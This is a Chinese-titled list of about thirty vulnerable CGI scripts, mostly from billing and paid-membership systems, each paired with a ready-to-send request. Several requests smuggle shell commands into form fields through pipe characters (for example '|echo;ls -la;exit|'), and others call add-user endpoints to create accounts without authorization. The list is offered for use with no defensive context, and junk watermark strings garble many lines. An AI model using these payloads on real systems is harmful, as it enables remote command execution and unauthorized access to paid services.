Cgi-bin 30个漏洞＋使用方法

admin

==============================

  ^; N# D1 N) h& a  R8 T/smspass.pl
username=username&password=password

/index.cgi
/ k1 y8 @1 [8 w: ]3 Uwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password
; a- J+ m# T2 U6 X
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
# x: j3 w" ~8 l' z- ]( T& Z8 e
. O9 r0 \- T% I8 {* A: Q/form.cgi
  j/ q) m; g9 R4 Y( yname=xxxx&email=email&subject=xxxx&response=|echo;ls|
7 O0 G0 l1 v* _: ?' {' ], w* s
/addusr.pl
! X. a2 n# o+ N5 h/cgi-bin/EuroDebit/addusr.pl
% w" H8 @- x" x9 p3 L1 I! Cuser=username&pass=Password&confirm=Password
9 }; Y( p& P6 E2 t" e
/ ]) V- [; {, T8 P2 l' `/ccbill-local.asp
: r& p8 M. Y& `3 ~post_values=username:password
" z5 C& N3 W- g' r& O" v/ {
5 i/ a8 m5 Z6 E) z$ w. @5 i/count.cgi
$ d$ O2 @" Z* s; r+ Cpinfile=|echo;ls -la;exit|
5 t1 j1 u( h6 i- T9 D# M" z
3 T- c4 s7 {% p* Z9 {/recon.cgi
/recon.cgi?search
  d5 ^2 P' x1 D" C2 isearchoption=1&searchfor=|echo;ls -al;exit|
1 M. \1 v3 N' N7 V
' ?7 p, i2 |5 r4 Z/verotelrum.pl
" L  t9 B  d7 f7 qvercode=username:password:dseegsow:add:amount<&30>
4 Y- p% n- J1 r' n  I/ d" ]0 c- X6 W
+ O, t7 f+ K( T- U4 Q/af.cgi
, d' |8 o( l- K. Q_browser_out=|echo;ls -la;exit;|

/modify.cgi
$ B! m5 b; r2 j! Fusername=username&password=password&expire=30
# y1 e3 U: t) m8 p; q- H
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
' ^+ @$ v& ~* }3 K5 I
/gx9passwd.cgi
1 S: K+ L5 c, ^* b1 M  ycmd=ADD&user=username&pass=password
( L% a% d5 j  t) c) X7 z: c
) A3 w: S/ q+ X$ j$ b" ]/probecontrol.cgi
command=enable&username=username&password=password
6 ?8 w" q3 j# p7 a; Y  P) [
/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

; Q+ H/ Z' v) g: ?# P/htadd.pl
configfile=|echo; ls -alt; exit
( F5 H1 p$ q2 {5 W( ?3 ^
+ A5 Q6 e' d* K+ l! f6 p/gx9passwd.cgi
cmd=ADD&user=username&pass=password
5 f. S) ~7 I, A3 g6 S% ?( `
/ibill*.pl
# D# w0 y5 n" \7 Breqtype=add&authpwd=authpwd&username=username&password=password

& J6 Z( k+ f2 @$ s/cpay.cgi
1 E, @* o$ S* [3 n7 m% d) mcommand=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

& [% v9 m0 j2 X# `/usercontrol.cgi
8 t: K5 \& B9 S/ {command=enable&username=USER&password=PASS

/globoSALErum.cgi
* l& P0 N7 [: Aaction=ADD&seccode=seccode&login=username&password=password
  F1 v! y5 j% F2 @
# A- U! [) \6 t1 {1 k7 o7 N* e/addusr.pl
! S( \0 z5 q1 [( kuser=USER&pass=PASS&confirm=PASS
5 m5 ?  ]. s" O( V3 T
1 e+ Y1 y8 h2 H$ h/ f: B6 d! m$ k- y/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
9 U5 ~# r, h+ a/ z/ N2 R2 t) t( b
/accountcreate.cgi
/ ]# C- U5 @; b: n/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
% h# _8 J, m$ W* M8 S
/ x% H6 ?% N+ }# {: `" f. r/af.cgi
$ z5 S* w7 [1 A' O/env.cgi
6 c- p$ B, x, a* aADD+;echo;pwd;exit

/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
4 m+ p4 h3 c( I; g. R' {7 S
/add.cgi
username=username&password=password&expire=30
6 J; `7 ~/ H+ A8 `- J+ w5 I
) r! z2 Q# y9 n: v8 n% K7 |  }==============================